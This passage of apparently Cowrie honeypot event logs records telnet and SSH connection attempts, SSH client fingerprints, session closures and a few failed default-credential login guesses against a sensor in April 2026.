521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:48.296352Z","src_ip":"80.94.92.186","session":"5734b782a95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.778941869735718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:49.113019Z","src_ip":"62.77.140.101","session":"a17aa1d7104c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.938658952713013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:49.125097Z","src_ip":"80.252.221.197","session":"84b46d43de7d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:49.899357Z","src_ip":"80.94.92.186","session":"5734b782a95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.58827233314514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:50.237715Z","src_ip":"185.245.83.63","session":"3cee5ed01743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:51.176465Z","src_ip":"80.94.92.186","session":"5734b782a95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.248679161071777,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:51.326814Z","src_ip":"66.132.172.187","session":"5e95a6bb3bbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7658371925354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:52.073462Z","src_ip":"80.252.221.197","session":"db02105206aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.874496936798096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:52.095824Z","src_ip":"185.245.83.63","session":"7d221ad17a00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759533405303955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:53.268746Z","src_ip":"62.77.140.101","session":"bb4a0beb915c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":51818,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3cd96f16e8d","protocol":"telnet","message":"New connection: 185.26.126.47:51818 (10.17.0.5:23) [session: c3cd96f16e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:53.743149Z"}
{"eventid":"cowrie.session.closed","duration":30.76914954185486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:54.116945Z","src_ip":"62.77.140.101","session":"09af4e3db19a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78569793701172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:55.035584Z","src_ip":"107.152.33.170","session":"f8aa64645d73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.790716409683228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:56.100614Z","src_ip":"80.252.221.197","session":"ad26ca6df7e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":36506,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae46004a6b1","protocol":"telnet","message":"New connection: 77.72.5.107:36506 (10.17.0.5:23) [session: 9ae46004a6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:56.247182Z"}
{"eventid":"cowrie.session.closed","duration":30.495338916778564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:59.053843Z","src_ip":"185.245.83.63","session":"18ed4a3659f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835735321044922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:59.119302Z","src_ip":"80.252.221.197","session":"45fdbc68425f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00106501579285,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:59.284965Z","src_ip":"193.239.26.142","session":"e8b00cf22887","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.916402101516724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:59.310945Z","src_ip":"169.62.47.99","session":"272b3b0fa57c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02225351333618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:59.341394Z","src_ip":"169.62.47.99","session":"d4ff02cfb6a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.239.26.142","src_port":37236,"dst_ip":"10.17.0.5","dst_port":23,"session":"42c4e4e5556c","protocol":"telnet","message":"New connection: 193.239.26.142:37236 (10.17.0.5:23) [session: 42c4e4e5556c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:59.807502Z"}
{"eventid":"cowrie.session.closed","duration":30.706831693649292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:00.051915Z","src_ip":"185.245.83.63","session":"b5e031546a02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83631205558777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:00.132134Z","src_ip":"80.252.221.197","session":"bbbfa9574b4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824446439743042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:00.156181Z","src_ip":"80.252.221.197","session":"d7678036843d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876233339309692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:01.097977Z","src_ip":"185.245.83.63","session":"ee8ba16f34ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.089085578918457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:01.350848Z","src_ip":"169.62.47.99","session":"d3ccab8ec072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08805251121521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:01.355369Z","src_ip":"169.62.47.99","session":"8a7f854194c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183995246887207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:01.506991Z","src_ip":"169.62.47.99","session":"e6189b261ac1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18185257911682,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:01.512392Z","src_ip":"169.62.47.99","session":"c9d8a5c53196","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.256849765777588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:02.088624Z","src_ip":"62.77.140.101","session":"ae6323fe9cc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.645926237106323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:02.278381Z","src_ip":"80.252.221.197","session":"040af2f368a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":60964,"dst_ip":"159.203.135.109","dst_port":22,"session":"b72fcce5007d","protocol":"ssh","message":"New connection: 103.63.108.25:60964 (159.203.135.109:22) [session: b72fcce5007d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:02.588177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:02.593410Z","src_ip":"103.63.108.25","session":"b72fcce5007d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:02.881473Z","src_ip":"103.63.108.25","session":"b72fcce5007d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":41146,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e5715efbe84","protocol":"telnet","message":"New connection: 138.197.5.236:41146 (10.17.0.5:23) [session: 9e5715efbe84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:03.399981Z"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user01123","message":"login attempt [user01/user01123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:04.042958Z","src_ip":"103.63.108.25","session":"b72fcce5007d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.501612901687622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:04.141125Z","src_ip":"185.245.83.63","session":"2e4d7ece1704","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843241930007935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:04.228024Z","src_ip":"169.62.47.99","session":"9bc73732d028","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804436445236206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:05.090275Z","src_ip":"80.252.221.197","session":"f165f1c1658c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:05.325594Z","src_ip":"103.63.108.25","session":"b72fcce5007d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.823972940444946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:06.134420Z","src_ip":"80.252.221.197","session":"2bd2a3381dc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915805101394653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:06.167698Z","src_ip":"169.62.47.99","session":"706314f02b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935285091400146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:06.261498Z","src_ip":"169.62.47.99","session":"479bc0d11b56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55704,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8b67c0205ee","protocol":"telnet","message":"New connection: 185.26.126.47:55704 (10.17.0.5:23) [session: a8b67c0205ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:11.157861Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58370,"dst_ip":"10.17.0.5","dst_port":23,"session":"84011e9ae344","protocol":"telnet","message":"New connection: 160.187.180.68:58370 (10.17.0.5:23) [session: 84011e9ae344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:12.698780Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":50274,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce06514ab8eb","protocol":"telnet","message":"New connection: 167.71.198.239:50274 (10.17.0.5:23) [session: ce06514ab8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:14.731370Z"}
{"eventid":"cowrie.session.closed","duration":31.054754495620728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:15.342477Z","src_ip":"80.252.221.197","session":"84ec8fcc887e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49162268638611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:16.109691Z","src_ip":"80.252.221.197","session":"c5a2b0429994","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.013217210769653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:18.098183Z","src_ip":"107.152.33.170","session":"e299deee04fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":60906,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef3657195de","protocol":"telnet","message":"New connection: 212.192.218.74:60906 (10.17.0.5:23) [session: 1ef3657195de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:18.343641Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":55962,"dst_ip":"10.17.0.5","dst_port":23,"session":"38efb4f25c72","protocol":"telnet","message":"New connection: 104.248.46.74:55962 (10.17.0.5:23) [session: 38efb4f25c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:21.382545Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56910,"dst_ip":"159.203.135.109","dst_port":22,"session":"29c0ad857ddb","protocol":"ssh","message":"New connection: 159.203.92.129:56910 (159.203.135.109:22) [session: 29c0ad857ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:21.835203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:21.850853Z","src_ip":"159.203.92.129","session":"29c0ad857ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:21.854749Z","src_ip":"159.203.92.129","session":"29c0ad857ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaaaaaa","password":"aaaaaaaaaa","message":"login attempt [aaaaaaaaaa/aaaaaaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:21.895685Z","src_ip":"159.203.92.129","session":"29c0ad857ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:22.903577Z","src_ip":"159.203.92.129","session":"29c0ad857ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":58662,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3ad91e355e2","protocol":"telnet","message":"New connection: 185.26.126.47:58662 (10.17.0.5:23) [session: c3ad91e355e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:23.222049Z"}
{"eventid":"cowrie.session.closed","duration":30.41816210746765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:24.161201Z","src_ip":"185.26.126.47","session":"c3cd96f16e8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58372,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbde61b3e0c7","protocol":"telnet","message":"New connection: 160.187.180.68:58372 (10.17.0.5:23) [session: cbde61b3e0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:24.497005Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":56876,"dst_ip":"10.17.0.5","dst_port":23,"session":"c39360379ef9","protocol":"telnet","message":"New connection: 104.248.46.74:56876 (10.17.0.5:23) [session: c39360379ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:25.222483Z"}
{"eventid":"cowrie.session.closed","duration":30.84140110015869,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:27.088458Z","src_ip":"77.72.5.107","session":"9ae46004a6b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.810014247894287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:34.209870Z","src_ip":"138.197.5.236","session":"9e5715efbe84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":58760,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae887a1eb7fd","protocol":"telnet","message":"New connection: 104.248.46.74:58760 (10.17.0.5:23) [session: ae887a1eb7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:35.257955Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":59154,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb2f85b588d7","protocol":"telnet","message":"New connection: 104.248.46.74:59154 (10.17.0.5:23) [session: cb2f85b588d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:37.288332Z"}
{"eventid":"cowrie.session.closed","duration":31.248749017715454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:42.406479Z","src_ip":"185.26.126.47","session":"a8b67c0205ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4441921710968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:43.142884Z","src_ip":"160.187.180.68","session":"84011e9ae344","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":36462,"dst_ip":"10.17.0.5","dst_port":23,"session":"b373a1c1885c","protocol":"telnet","message":"New connection: 62.77.140.101:36462 (10.17.0.5:23) [session: b373a1c1885c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:43.342744Z"}
{"eventid":"cowrie.session.closed","duration":30.395697355270386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:45.126928Z","src_ip":"167.71.198.239","session":"ce06514ab8eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935433626174927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:49.278965Z","src_ip":"212.192.218.74","session":"1ef3657195de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.715675592422485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:52.098078Z","src_ip":"104.248.46.74","session":"38efb4f25c72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85205888748169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:54.073991Z","src_ip":"185.26.126.47","session":"c3ad91e355e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.637048721313477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:55.133939Z","src_ip":"160.187.180.68","session":"cbde61b3e0c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856802225112915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:43:56.079178Z","src_ip":"104.248.46.74","session":"c39360379ef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00760531425476,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:44:04.355747Z","src_ip":"152.59.19.2","session":"561e63142df7","protocol":"telnet"}
